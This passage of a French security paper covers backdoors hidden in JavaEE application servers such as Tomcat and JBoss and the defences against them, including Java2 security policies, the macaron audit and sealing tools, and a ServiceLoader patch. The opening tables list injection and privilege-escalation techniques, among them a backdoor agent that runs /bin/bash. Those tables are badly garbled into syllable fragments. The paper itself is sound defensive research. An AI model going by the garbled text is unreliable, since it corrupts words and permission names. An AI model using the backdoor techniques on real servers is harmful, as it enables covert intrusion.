ible
dan
scontextxml
etu
tilisa
tion
de
Tom
cat
5x
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
6x
javalangRuntimePermission
defineClassInPackageorgapachecatalinavalves
javalangRuntimePermission
defineClassInPackageorgapachecatalina
javalangRuntimePermission
defineClassInPackageorgapachecatalinaconnector
Si
uti
lisa
tion
de
Tom
cat
6x
Inje
ctio
nd
eV
alv
ed
an
sJB
oss
avec
Tom
cat
5x
siltContext
privileged=truegt
javaxmanagementMBeanServerPermission
findMBeanServer
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
getClassLoader
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Sile
pri
vil
ege
est
dis
pon
ible
dan
scontextxml
lap
ort
ed
erob
eeco
nst
ruit
un
eV
alv
eet
lrsquoin
ject
ed
an
sJB
oss
alrsquoaid
ed
rsquoun
ere
quet
eM
bea
n
424 Porte derobee dans les serveurs drsquoapplications JavaEE
Inje
cti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Au
gm
enta
tion
de
pri
vil
eges
sou
sT
om
cat
javaioFilePermission
$catalinahomelibwrite
javaioFilePermission
$catalinahomelibread
(Optional)
javautilPropertyPermission
catalinahomeread(Optional)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Au
gm
enta
tion
de
pri
vil
eges
sou
sJB
oss
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerwrite
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerread
(Optionel)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Inje
ctio
nd
efi
ltre
JavaE
Ed
an
swebxml
sou
sT
om
cat
javaioFilePermission
$catalinabasewebapps$warWEB
INFwebxml
write
Cet
teatt
aqu
eco
nsi
ste
ain
ject
eru
nfi
ltre
JE
Ed
an
sla
ver
sion
enca
che
de
Tom
cat
du
fich
ier
webxmlA
up
roch
ain
red
emarr
age
lefi
ltre
est
act
if
Inje
ctio
nS
pri
ng
Au
cun
Inje
ctio
nd
eltbeangt
dan
sle
sfi
chie
rsd
ep
ara
met
rage
de
Sp
rin
gp
ou
rca
ptu
rer
tou
sle
sre
qu
etes
au
fram
ework
MV
C
Pro
gra
mm
ati
on
par
asp
ect
Au
cun
Inje
ctio
nd
etr
ait
emen
tp
ou
rle
sse
rvle
tset
JS
P
Vou
sp
ou
vez
con
state
rqu
ed
eux
att
aqu
esn
en
eces
site
nt
au
cun
pri
vil
ege
Le
tab
leau
suiv
ant
rep
ren
dle
sp
rivil
eges
nec
essa
ires
au
xd
iffer
ents
agen
tsp
rop
ose
sC
esp
rivileg
esn
eso
nt
pas
nec
essa
ires
au
ne
att
aqu
eci
ble
e
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
